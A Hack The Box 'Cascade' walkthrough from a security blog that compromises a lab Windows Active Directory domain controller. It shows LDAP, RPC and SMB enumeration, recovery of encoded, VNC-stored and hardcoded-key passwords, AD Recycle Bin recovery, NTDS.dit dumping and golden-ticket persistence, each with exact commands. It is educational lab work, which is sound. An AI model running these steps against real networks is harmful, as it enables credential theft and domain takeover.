Cascade HTB Walkthrough - Hack the planet

Cascade HTB Walkthrough

bloodstiller
17 mins to read
Box HTB Active Directory Windows LDAP RPC SQL CSharp
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Cascade Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

  • Variables:
    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:
    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

NMAP:

  • Basic Scan:

    • nmap $box -Pn -oA basicScan
    kali in 46.02-HTB/BlogEntriesMade/Cascade/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
🕙 17:50:51 zsh ❯ nmap $box -Pn -oA basicScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 17:50 BST
Nmap scan report for 10.129.136.213
Host is up (0.040s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown
    • Initial thoughts:
      • DNS, Kerberos, SMB & LDAP all great for enumerating.

  • In depth scan:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    kali in 46.02-HTB/BlogEntriesMade/Cascade/scans/nmap  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh  took 10s
🕙 17:51:04 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 17:51 BST
Nmap scan report for 10.129.136.213
Host is up (0.039s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-14 16:55:35Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Phone|Vista|8.1 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%), Microsoft Windows 8.1 Update 1 (89%), Microsoft Windows Phone 7.5 or 8.0 (89%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (89%), Microsoft Windows Vista SP2 (89%), Microsoft Windows Embedded Standard 7 (88%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (88%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-10-14T16:56:32
|_  start_date: 2024-10-14T16:47:45

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 324.37 seconds
    • Findings:

DNS 53:

  • Using dnsenum to enumerate DNS entries:
    • dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
    • Nothing of note, just standard DNS entries.

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

  • As kerberos is present we can enumerate users using kerbrute:
    • kerbrute userenum -d $domain --dc casc-dc1.cascade.local ~/Wordlists/statistically-likely-usernames/jsmith.txt
    • I get no hits.

SMB 445:

Attempting to connect with NULL & Guest sessions:

  • This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
    • netexec smb $box -u 'guest' -p '' --shares
    • netexec smb $box -u '' -p '' --shares
    • Neither work.

RPC 111:

As RPC is running on the host we can attempt to enumerate using it.

49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC

  • Connecting to RPC using a null session with rpcclient:

    • rpcclient -U "%" $box
    • Awesome we can get a null session.

  • +Note+: I actually wrote a cheat-sheet blog off of the back of this enumeration which goes into a deep dive regarding RPC:

Enumerating users with rpcclient:

  • Enumerating users:

    • enumdomusers
    • There are some interesting things straight away here. The CascGuest & BackupSvc accounts.
    • It looks like they have replaced their standard Guest account with CascGuest

  • I attempt to connect as CascGuest using netexec:

    • It fails.

  • I attempt to add myself as a user to the domain but am denied:

    • createdomuser bloodstiller

  • Now that we have the user & group RIDs we can enumerate further.

Discovering User Login Scripts with rpcclient:

  • Using rpcclient we can enumerate specific by passing their RID to the command queryuser

    • queryuser 0x453

  • Steve Smith has the MapAuditDrive.vbs:

  • Multiple Users have the MapDataDrive.vbs logon script:

    • James Wakefield
    • Stephanie Hickson
    • John Goodhand
    • Edward Crowe
    • David Burman
    • Joseph Allen
    • Ian Croft

Enumerating Groups with rpcclient:

  • Enumerating groups with rpcclient:

    • enumdomgroups

  • I enumerate all of these groups however there is no additional information in their description fields:

    • querygroup RID

  • I enumerate builtin groups too however it says they do not exist when trying to delve further:

    • enumalsgroups builtin

  • I do the same again with the domain groups but have the same issue:

    • enumalsgroups domain
Why so many different rpcclient group enumeration commands?
  • Just in-case you are wondering, why has he listed all of these different ways to list groups & gotten different results each time?
    • enumdomgroups: Lists domain-wide groups that are used across the Active Directory domain.
    • enumalsgroups domain: Lists local alias groups that are specific to the domain controller or server itself.

Enumerating the password policy with rpcclient:

  • I get the domains password policy:
    • getdompwinfo
    • But what does this mean?
Understanding password_properties:

  • password_properties is a bitmask, where different bits control specific password policies.

  • Here are the common flags and what each bit represents:

    • Hex Value: 0x00000001

    • Flag: DOMAIN_PASSWORD_COMPLEX

    • Meaning: Enforces password complexity (requires uppercase, lowercase, digits, symbols)

    • Hex Value: 0x00000002

    • Flag: DOMAIN_PASSWORD_NO_ANON_CHANGE

    • Meaning: Prevents anonymous users from changing passwords

    • Hex Value: 0x00000004

    • Flag: DOMAIN_PASSWORD_NO_CLEAR_CHANGE

    • Meaning: Prevents passwords from being sent in cleartext

    • Hex Value: 0x00000008

    • Flag: DOMAIN_LOCKOUT_ADMINS

    • Meaning: Locks out administrators as well when lockout occurs

    • Hex Value: 0x00000010

    • Flag: DOMAIN_PASSWORD_STORE_CLEARTEXT

    • Meaning: Allows storing passwords using reversible encryption (cleartext)

    • Hex Value: 0x00000020

    • Flag: DOMAIN_REFUSE_PASSWORD_CHANGE

    • Meaning: Prevents users from changing their password

    • Hex Value: 0x00000000

    • Meaning: Means that none of these password restrictions are enabled.

  • In this case, no complexity rules, no restrictions on anonymous password changes, and no other special password policies are applied.

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.

  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  • It turns out the anonymous bind is enabled however we can still get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.

    1. We have the naming context of the domain:

      kali in ~/Desktop/WindowsTools 🐍 v3.12.6  2GiB/15GiB | 0B/1GiB with /usr/bin/zsh
🕙 09:05:48 zsh ❯ python3 ldapchecker.py $box
Attempting to connect to 10.129.136.213 with SSL...
Failed to connect with SSL. Retrying without SSL...
Connected successfully. Retrieving server information...
DSA info (from DSE):
  Supported LDAP versions: 3, 2
  Naming contexts:
    DC=cascade,DC=local
    CN=Configuration,DC=cascade,DC=local
    CN=Schema,CN=Configuration,DC=cascade,DC=local
    DC=DomainDnsZones,DC=cascade,DC=local
    DC=ForestDnsZones,DC=cascade,DC=local

    2. We have the domain functionaility level:

        domainFunctionality:
    4
  forestFunctionality:
    4
  domainControllerFunctionality:
    4
      • The functionality level determines the minimum version of Windows server that can be used for a DC.

        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 4 which means that this server has to be running Windows Server 2008 R2 or newer.

        • Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.

    3. We have the full server name:

       serverName:
    CN=CASC-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cascade,DC=local

  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.

  • I update my /etc/hosts file now that we have the server name.

    • This is so we can use tools like kerbrute for user enumeration as well as other tools later on.

LDAP User & Group Enumeration Using Anonymous Bind:

  • As anonymous bind is enabled we can enumerate all the users on the domain also:

    • ldapsearch -H ldap://casc-dc1.$domain:389 -x -b "DC=cascade,DC=local" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " >> ldapUsers.txt

  • My first command just extacted SAM names, which we already have from RPC, so lets extract all the users information:

    • ldapsearch -H ldap://casc-dc1.$domain:389 -x -b "DC=cascade,DC=local" -s sub "(&(objectclass=user))" >> ldapUsersAll.txt
  • As anonymous bind is enabled we can enumerate all the groups on the domain also:
    • ldapsearch -H ldap://casc-dc1.$domain:389 -x -b "DC=cascade,DC=local" -s sub "(&(objectclass=Group))" | grep sAMAccountName: | cut -f2 -d" " >> ldapGroups.txt

2. Foothold:

Finding a password in the cascadeLegacyPwd field:

  • Looking through the extracted user data from ldap I see there is a field called cascadeLegacyPwd in the users r.thompson’s entry.

  • I test the password with netexec but it doesn’t work:

    • netexec smb $box -u $user -p $pass --shares

+It dawns on me, it’s base64 encoded!!!+

  • I decode the password:
    • echo $pass | base64 -d
    • +Note+:
      • Ironically it would have been a better password in it’s bas64 encoded form as it has:
        • Uppercase
        • Lowercase
        • Numbers
        • Symbols
        • Is longer.

Enumerating the domain as r.thompson:

  • I check ryan’s creds with netexec and get access:
    • netexec smb $box -u $user -p $pass --shares

Pillaging the IT SMB Share:

  • I connect using smbclient:

    • smbclient -U $domain\\$user \\\\$box\\Data

  • I find shares and see if I can access them all however I am only able to access the IT share currently:

  • I find a file called Meeting_Notes_June_2018.html in the Email Archives directory I download it:

    • get Meeting_Notes_June_2018.html

  • I find a file called ArkAdRecycleBin.log in the Logs\Ark AD Recycle Bin\ folder:

    • get ArkAdRecycleBin.log

  • I find a file called dcdiag.log in the Logs\DCs\ folder:

    • get dcdiag.log

  • I find a file called VNC Install.reg *in the* \IT\Temp\s.smith\ folder:

    • get "VNC Install.reg"

Pillaging the NETLOGON share:

  • I access the NETLOGON share:
    • smbclient -U $domain\\$user \\\\$box\\NETLOGON
  • I find two scripts:
    • MapAuditDrive.vbs & MapDataDrive.vbs
  • I download them both: -

Finding that there is a TempAdmin account with the same password as normal admin:

  • In the Meeting_Notes_June_2018.html file it says there is a TempAdmin account that should have the same password as the normal Admin

  • However looking at ArkAdRecycleBin.log it looks like this account has already been deleted:

    • We will file this away incase it is useful later.

Finding a TightVNC password in VNC Install.reg

  • Looking at the VNC Install.reg file I can see it’s the registyr entry for a TightVNC install:

  • There is a hard-coded hex password in the file:

  • Some quick DuckDuckGoing (doesn’t sound as cool as “Googling”) & I find a decryption method:

    • According to this entry VNC uses a hard-coded DES key to store credentials. And the same key is used across multiple different products.

  • I use the command at the bottom of the page & get the clear-text password:

    • echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

  • I test if it’s s.smiths & it is:

    • netexec smb $box -u $user -p $pass

Running a bloodhound collection:

  • It’s about time we ran a bloodhound collection after grabbing all the low-hanging fruit:
    • python3 bloodhound.py -dc casc-dc1.$domain -c All -u $user -p $pass -d $domain -ns $box

Enumerating as s.smith:

  • Looking at the bloodhound data we can see that s.smith is part of numerous groups:

    • We can see he is part of the “Remote Management Users” so we should be able to get access to the machine now.

  • I access the host via evil-winrm:

    • evil-winrm -i $box -u $user -p $pass

  • Get our user flag:

Enumerating & pillaging the audit$ share:

  • We can see that they also have access to the audit$ share:

  • I connect using smbclient:

    • smbclient -U $domain\\$user \\\\$box\\Audit$
    • There are alot of interesting things here.

  • To make life easier I create a .tar file of all the files:

    • tar c all.tar
    • +Note+: This will make a .tar of all the files excluding directories and download it automatically.

  • I download the remaining files in the directories:

    • x86\SQLite.Interop.dll
    • x64\SQLite.Interop.dll
    • DB\Audit.db

3. Privilege Escalation:

Examining DB\Audit.db:

  • I open DB\Audit.db in sqlitebrowser:

    • The ldap table appears to have the credentials for the ArkSvc service.
    • I try & base64 decode it however it appears to be a malformed string:
    • It could be encrypted and we don’t have the encryption key.

  • The rest of the tables related to deleted accounts:

  • Looking at RunAudit.bat we can see it is just used to run CascAudit.exe & pass the Audit.db to it:

  • I want to decompile the .exe and dll so will fire up my command windows vm:

Finding a hardcoded decryption key in the CascAudit.exe binary using DNSpy:

  • Opening the CascAudit.exe in DNSpy I immediately find a hard-coded decryption key win the MainModule.

Let’s break this code down:

  • Below is the code that we are most interested in.
    • Lets break it down. 
        {
 using (SQLiteConnection sQLiteConnection = new SQLiteConnection("Data Source=" + MyProject.Application.CommandLineArgs[0] + ";Version=3;"))
 {
         string text = string.Empty;
         string password = string.Empty;
         string text2 = string.Empty;
         try
         {
              sQLiteConnection.Open();
              using (SQLiteCommand sQLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sQLiteConnection))
              {
	                  using (SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader())
	                  {
		                      sQLiteDataReader.Read();
		                      text = Conversions.ToString(sQLiteDataReader["Uname"]);
		                      text2 = Conversions.ToString(sQLiteDataReader["Domain"]);
		                      string encryptedString = Conversions.ToString(sQLiteDataReader["Pwd"]);
		                      try
		                      {
			                          password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
		                      }
		                      catch (Exception ex2)
		                      {
			                          Console.WriteLine("Error decrypting password: " + ex2.Message);
			                          return;
		                      }
	                  }
              }
              sQLiteConnection.Close();
         }
  • Database Connection and Initialization 
    using (SQLiteConnection sQLiteConnection = new SQLiteConnection("Data Source=" [PlusSymbol] MyProject.Application.CommandLineArgs[0] [PlusSymbol] ";Version=3;"))
    • Creates a new SQLite connection using the database file path from the first command-line argument.
    • string text = string.Empty;
    • string password = string.Empty;
    • string text2 = string.Empty;
      • Initializes empty strings to store the username (text), password, and domain (text2).
    • sQLiteConnection.Open();
      • Opens the SQLite database connection.

  • Querying the Database

    • using (SQLiteCommand sQLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sQLiteConnection))
      • Creates an SQL command to select all data from the LDAP table.
    • using (SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader())
      • Executes the SQL command and creates a reader for the results.
    • sQLiteDataReader.Read();
      • Reads the first row of the query results.

  • Retrieving LDAP Credentials:

    • text = Conversions.ToString(sQLiteDataReader["Uname"]);
    • text2 = Conversions.ToString(sQLiteDataReader["Domain"]);
    • string encryptedString = Conversions.ToString(sQLiteDataReader["Pwd"]);
    • Retrieves the username, domain, and encrypted password from the query results.
      • Stores these values in the respective variables.

  • Password Decryption:

    • password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
    • Attempts to decrypt the password using a custom Crypto.DecryptString method.
      • This is actually calling the CascCrypto.dll that was also available in the audit share.
    • +Security Note+: The decryption key "c4scadek3y654321" is hardcoded, which is a significant security risk, as anyone who decompiles the binary can find this key.

  • Cleanup:

    • sQLiteConnection.Close();
    • Closes the SQLite database connection.

  • So what does it do?

    • This code retrieves LDAP credentials from an SQLite database and decrypts the password.
      • Remember we found Audit.db earlier which is an SQLite db which had an entry for the ArkSvc account>

Extracting the ArkSvc password from CascAudit.exe:

  • +Requirements+: For this to work, we will need the Audit.db & CascCrypto.dll, the .dll has to be in the same folder as the .exe

  • Set a breakpoint in DNSpy.

    • Select the line with the encryption key & right-click & select “Add Breakpoint”

  • Click “Start”:

  • From the “Arguments” section ensure you select the location of the Audit.db

    • Click “OK”
    • +Note+:
      • If you remember in RunAudit.Bat we can see that the argument the .exe takes is the location of the .db

  • The debugger will break on the line we selected, however to get the result we need to step over it:

  • Once we have stepped over the clear text password will be visible:

    • +Note+: It has trailing \0\0\0, these can be deleted.

  • I verify the credentials work using netexec:

5. Ownership:

Enumerating as arksvc:

  • Checking bloodhound I can see that arksvc has access to the AD Recyle Bin:

    • If you remember we saw that temp-admin was in the recycle bin when we were looking at the recovered Audit.db file:

  • After some quick searching I find this article which details how to recover deleted objects in the AD Recycle Bin. It says:

    By default, if an object has been deleted, it can be recovered within a 180 days interval. This value is specified in the msDS-DeletedObjectLifetime attribute

Finding the Administrator Password in the cascadeLegacyPwd field of a deleted object:

  • I list the objects in the recycling bin:

    • Get-ADObject -filter ‘isdeleted -eq $true -and name -ne “Deleted Objects”‘ -includeDeletedObjects -property *

  • I immediately find the deleted temp-admin account:

  • Looking at the entry we can see that is has the same cascadeLegacyPwd field that we found before that contained a base64 encoded password

    • If you remember when we looked at Meeting_Notes_June_2018.html it said that the temp-admin and normal admin have the same password:

  • I decode the password:

  • Boom we have root:

  • Lets get our root flag:

4. Persistence:

Dumping NTDS.dit:

  • Lets dump the NTDS.dit database using netexec:
    • netexec smb $box -u $user -p $pass -M ntdsutil

Creating a Golden Ticket:

  1. Using impacket-lookupsid to extract the domain SID:

    • impacket-lookupsid $domain/administrator@$box -domain-sids

  2. I use impacket-ticketer to create the ticket:

    • It kicks out a bunch of errors but creates the administrator.ccache

  3. I sync my clock with the target:

    • sudo ntpdate -s casc-dc1.$domain

  4. I load the ticket into the KRB5CCNAME Variable:

    • export KRB5CCNAME=./administrator.ccache

  5. I connect using impacket-psexec:

    • impacket-psexec casc-dc1.$domain -k

Lessons Learned:

What did I learn?

  1. I actually had a lot fun using RPC to enumerate, purely as a test, to see how much I could get from the box before I had to switch to other means. It was fun.
  2. It was also nice to have a box where the approach wasn’t web based or something in an open share etc, it was fun to use LDAP (which I enjoy) extensively.
  3. I never knew about recovering items from the AD Recycling Bin.
  4. I learned more about C# decompiling etc, however I am going to do more work on this so I have a better understanding. This is one of my weaker points.

What silly mistakes did I make?

  1. Oh, one day I couldn’t sleep so woke up at 4:30am and wondered why it wouldn’t connect for ages until I realized I hadn’t updated /etc/hosts that was fun.
  2. Again, I spent alot of time on the C# decompiling etc as it’s one of my weaker areas.
  3. Oh not realizing the first found password was base64 encoded for a few mins was fun….

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me